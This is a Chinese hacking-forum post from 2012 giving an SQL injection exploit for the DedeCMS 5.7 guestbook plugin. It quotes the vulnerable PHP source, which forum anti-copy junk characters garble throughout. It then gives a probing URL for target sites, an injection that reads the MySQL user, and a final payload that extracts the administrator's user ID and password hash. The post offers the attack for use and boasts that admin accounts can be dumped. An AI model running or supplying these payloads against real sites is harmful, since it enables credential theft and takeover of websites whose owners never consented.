找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3773|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.79 k+ x) k* o' \- f! A

' b, @' b4 M# P( `' p漏洞文件edit.inc.php具体代码:
& J+ v" T5 a3 \; d+ |. [5 A. F2 C4 C; U! j5 Q# N
< ?php    j3 X! J) w: W  }

9 N! O: A' p  z: L1 |if(!defined('DEDEINC')) exit('Request Error!');  ! K4 m3 B* o( i9 ]
% P+ s8 v( W) B0 b
   
# B4 O1 D: C4 S, O
9 P' d  p  V& M, a0 z" ~if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  , i: H- a- n( }: `. H& S% L4 p

9 B# Y6 L: A1 f) V8 zelse $GUEST_BOOK_POS = "guestbook.php";  
/ ~3 W  d: s6 i) d5 p
3 e8 _7 C- D/ P6 Z/ R, I   
6 x8 F& ~4 Z+ ]
8 w' v# w8 ^! J, S, g- X3 s$id = intval($id);  
- H3 s5 `6 l1 ^* n5 m9 g  |
4 ]# [9 q7 M' W" s; Q3 |  Bif(empty($job)) $job='view';  , M0 Z* n! N% `+ R/ O7 T# B

  ~* R% T# x# h8 U5 U$ h   
' \* U6 H7 h  Z# O
) B6 C0 o* U9 b2 ?( v; [; fif($job=='del' && $g_isadmin)  6 P9 M  j; K% ], F6 ~

: b8 ]- w& e5 x1 {" M- ?{  
3 Q( Y( n% m4 _6 P5 \+ M8 D
4 b" V) `$ s2 V% u( G7 k1 s$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  & k* {! C/ U7 {

/ r3 Y- }( A  d/ xShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
5 ~. t0 H2 U$ i5 _+ i/ U# P" z& y$ d" v% n0 ~& e5 o8 t9 C
exit();  0 b1 L/ U* }; s5 Y1 S2 ]

/ |7 A  w* l% M: G+ R  E4 f}  
3 O0 d( h0 \1 q" K* @2 f; i) ]2 u% O; o  [/ x" m5 h2 F
else if($job=='check' && $g_isadmin)  
5 @& \6 e; Y7 \# {5 Y; e6 v$ Q- c) h' f4 @, X
{  
6 ~) D: o0 U$ o9 q1 ?
' d+ V0 o( u' B- u1 p! a; p$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  / w- b) d  |* v: _/ D' s- l
1 B3 _8 X+ O7 I% R7 [
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
; ]3 d7 x9 D, Q& c9 ?) o$ m
0 V$ X" W, Y6 h! m7 }& S$ M# Zexit();  8 T0 L# `" I: R+ e9 C

7 P+ C0 z5 n% C$ R}  9 f  J4 @, n# ^! `/ `

/ L" g. T% N' H! x+ d5 delse if($job=='editok')  
% E5 |: {1 a% ~/ S
3 `5 |( D+ i7 t, O{  
! A# d3 Y1 \0 J' t" J) L. l% l7 Y3 i. e4 Y5 j
$remsg = trim($remsg);  2 G* s- c0 o: v

  f3 A$ V, a# }$ ^' D# zif($remsg!='')  ; J: _9 w- D( i2 e  B3 v; z, ~! q

; m4 h+ c+ J' a  j+ M* m{  , D3 a! L! Y4 f0 S9 A/ I+ Y; R
5 w& ^/ U/ B! J. O  t3 L
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
6 y2 ^+ m# L5 c' T7 k& ~2 V, z' c! b0 }' `( r  G' o" _, b2 y" S
if($g_isadmin)  
* X' L2 q0 O1 b% A) L
1 g6 ^5 n+ p. k8 h6 X& \% a3 h{  
. F9 J1 M3 K2 W$ d* p+ ^' k, X4 Q  j' D2 {5 B- n2 E
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  - }1 N7 N+ ?( t$ \" p! v+ I" l
3 U3 J* j9 U5 o" p3 g2 J
//$remsg <br /><font color=red>管理员回复:</font> }  
8 R, s( r' P' i8 g1 W; O# T/ q4 h9 z( J  G" F# X$ q
else ; J$ V7 W, l: ^7 x8 d6 z
' E8 F' Y" x0 H* q2 Z  I0 z
{  
5 i6 I1 {) D7 Q$ u. T, r8 |
& U+ M+ ]  k% o, T1 ~( @5 ]- p$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
2 t7 V% t# h/ U" J, Q, g! f+ g6 v
* t0 _; j) Z2 x4 [. _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  9 y2 k) d- }7 r& O4 [- t, a  h

- i1 }- i) j; ?8 g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
4 R/ u/ ]3 x" R% R1 r) ~; ^
; R; F8 @6 e9 Q# M8 X0 w( d* l9 \/ h$msg = $oldmsg.$remsg;  6 S7 l% y# c6 @4 P
1 X3 }  s5 _0 O3 k( z$ `
}  - C' X' T0 t0 ]
* P. U* s& T) |9 w' r
}  
, t7 Q. ~9 e' W: u
: n! G; _; h. f; u) h//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
7 n, ?8 Y' A1 ~% R; Z. v# J# R
4 v& j# q. A% v* W# B% {0 E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");    j; ]! T/ {" i; m" s" Q2 a- n
$ U0 S8 s/ q: W' n' o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
- h! p) l6 i. x0 I. Z) ^4 J4 S6 k8 r  i2 @+ x6 G
exit();  / ]% S, x; f8 \: [; ]
" Y. w8 t* b7 J( i( J6 q" V) ~
}  * I9 T, ~; K+ b1 }. k# V& R6 {
* f# R9 `( K" G; B; z6 S$ g
//home:www.errs.cc  
+ o4 e2 W- p, m1 \: O& s  K' L9 J' F% G) G: _8 [7 k- Y" ^
if($g_isadmin)  6 X$ ^' i! d$ ]' O0 O4 o
$ i( i- j: e( K9 V& f- {' F
{  
& B( ~, g+ T. o+ c; T
% y' t9 z' v$ p( o% x$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  2 K3 c- d, B5 @+ I+ S

; ~" f2 C. e' H  S& {# n: b- ?require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  $ N, S% M# t1 y* u3 d" N

4 V3 ]. u% h) C# @6 t7 C}  . l( G6 J4 }6 p3 R3 C7 ]8 g2 |( c+ @
1 m2 r0 s- J+ c
else ( `, n/ D) v; `

! M% Q: P! x* h, h6 d8 ?* A{  
/ o' r* D/ o& D8 a/ H. O, x  Q4 `
, h2 k6 J& V7 s$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
% p, Q$ @3 k3 n6 x  y- H$ J  J' e( u! T) ]6 N' `/ E
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
4 c: |" q, T% P; F6 m) ^, ~. M2 K" S- m' S9 U8 Q0 m
} 漏洞成功需要条件:3 y% f! d* L% y: S9 h
1. php magic_quotes_gpc=off
& _, u* P  P' ^. v! M2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。$ {2 ~8 m. X3 I0 Q1 p4 a& K" a
" P2 `/ X9 k2 C1 F: v" ]7 D
怎么判断是否存在漏洞:
. a' W& d5 w% o先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( f" _6 f1 ~  q3 B& A然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID8 D9 c, G) J$ W' s, c- N
访问:# j0 Y' X' ~3 N/ c5 `
( q, X2 q! R# I& L
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* k# ^4 d9 V# Y* F
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
+ A8 t6 N6 Z/ ~2 o$ a( m, a* H( d2 c3 o' m( x# B

% Z' s2 s. j0 z! }+ T" O明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
" R2 j2 Z$ W3 R如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 e# W4 |( w+ A/ o5 r# e那么再次访问
# a1 N7 K* Y* n* C
2 Z0 C' q' t: fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().) R, y! t7 N6 p, Q  e) x. }* N& w6 S
. b6 h7 E0 f5 R4 y: a8 S
大概利用就是这样,大家有兴趣的多研究下!!
, R( a, v! Z1 }0 {9 S9 x2 e9 m) |5 _' C, b
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!% H( p1 r, @8 g  F

8 S: ]- w; f+ ]6 C  Eview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表